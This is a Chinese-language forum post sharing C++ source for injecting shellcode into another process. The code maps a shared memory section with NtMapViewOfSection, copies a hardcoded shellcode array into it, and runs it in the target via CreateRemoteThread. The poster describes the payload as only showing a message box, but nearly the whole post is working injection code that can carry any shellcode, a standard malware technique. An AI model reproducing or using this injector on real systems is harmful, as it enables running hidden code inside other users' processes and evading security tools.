- 注册时间
- 2011-3-6
- 最后登录
- 1970-1-1
该用户从未签到
|
今天自己花了点时间,用C++写了一个利用NtMapViewOfSection创建一个共享内存并执行远程线程,在目标进程执行一个SHELLCODE(弹出一个信息框),代码写的很烂,但愿能看懂,如下:
#include <windows.h>
#include <iostream>
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef LONG NTSTATUS, *PNTSTATUS;
typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );
int main(){
NTSTATUS Status;
LARGE_INTEGER SectionOffset = {0};
ULONG ViewSize = 1024*4;
ULONG Protect;
LPVOID ViewBase = 0;
LPVOID ViewBase2 = 0;
DWORD ThreadId;
DWORD ShellCode[] = {0x4268486A, 0x682E4A2E, 0x00737365, 0x6F725068, 0x78456863, 0x6F687469, 0x68004178, 0x42656761, 0x73654D68, 0x33726873,
0x00680032, 0x68657375, 0x41797261, 0x62694C68, 0x6F4C6872, 0xD48B6461, 0xA164C033, 0x00000030, 0x8B0C408B, 0x8BAD1C70,
0x52500840, 0x2FE80C6A, 0x5B000000, 0x530DC383, 0xC383D0FF, 0x0B6A5307, 0x00001DE8, 0xC3835B00, 0x53006A18, 0xFF006A53,
0x000CBAD0, 0x2B580000, 0xE85253DA, 0x00000002, 0xD88BD0FF, 0x8B3CC083, 0x81C30300, 0x00455038, 0x8B497500, 0xC3037840,
0x8BC88B50, 0x408B1449, 0x55C30320, 0xD233E88B, 0x03008B51, 0x8BF88BC3, 0x8B142474, 0xFC10244C, 0x1775A6F3, 0x8B04C483,
0x8B042444, 0xC3031C40, 0x0302E2C1, 0x03008BC2, 0x420BEBC3, 0x8B04C583, 0xCCE259C5, 0x595DC033, 0x000004C2};
HMODULE hDll = LoadLibrary( "ntdll.dll" );
if (!hDll) return 0;
func_NtMapViewOfSection NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");
if (!NtMapViewOfSection) return 0 ;
HANDLE hMappedFile = CreateFileMapping (INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE , 0, 1024*4, NULL);
if (!hMappedFile)return 0 ;
LONG PID;
std::cout << "请输入目标进程PID" << std::endl;
std::cin >> PID ;
HANDLE hProcess1=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);//手动设置目标进程PID
if (!hProcess1) return 0 ;
HANDLE hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId());
if (!hProcess2){
CloseHandle (hProcess1);
CloseHandle (hMappedFile);
return 0 ;
}
Status = NtMapViewOfSection(hMappedFile,
hProcess1,
&ViewBase,//映射在目标进程的虚拟地址
0,
0,
0,
&ViewSize,
ViewShare,
0,
PAGE_EXECUTE_READWRITE);
Status = NtMapViewOfSection(hMappedFile,
hProcess2,
&ViewBase2,//映射在自己进程的虚拟地址
0,
0,
0,
&ViewSize,
ViewShare,
0,
PAGE_EXECUTE_READWRITE)|Status;
if (!(Status>=0))
{
CloseHandle (hProcess1);
CloseHandle (hProcess2);
CloseHandle (hMappedFile);
return 0 ;
}
RtlMoveMemory(ViewBase2,&ShellCode,sizeof ShellCode ); //通过共享内存写入代码(SHELLCODE),使其同时映射到目标进程
CreateRemoteThread(hProcess1,0,0,(LPTHREAD_START_ROUTINE)ViewBase,LPVOID(0),0,&ThreadId);//执行目标进程的共享内存(已经有了SHELLCODE)
CloseHandle (hMappedFile);
CloseHandle (hProcess1);
CloseHandle (hProcess2);
return 0;
} |
|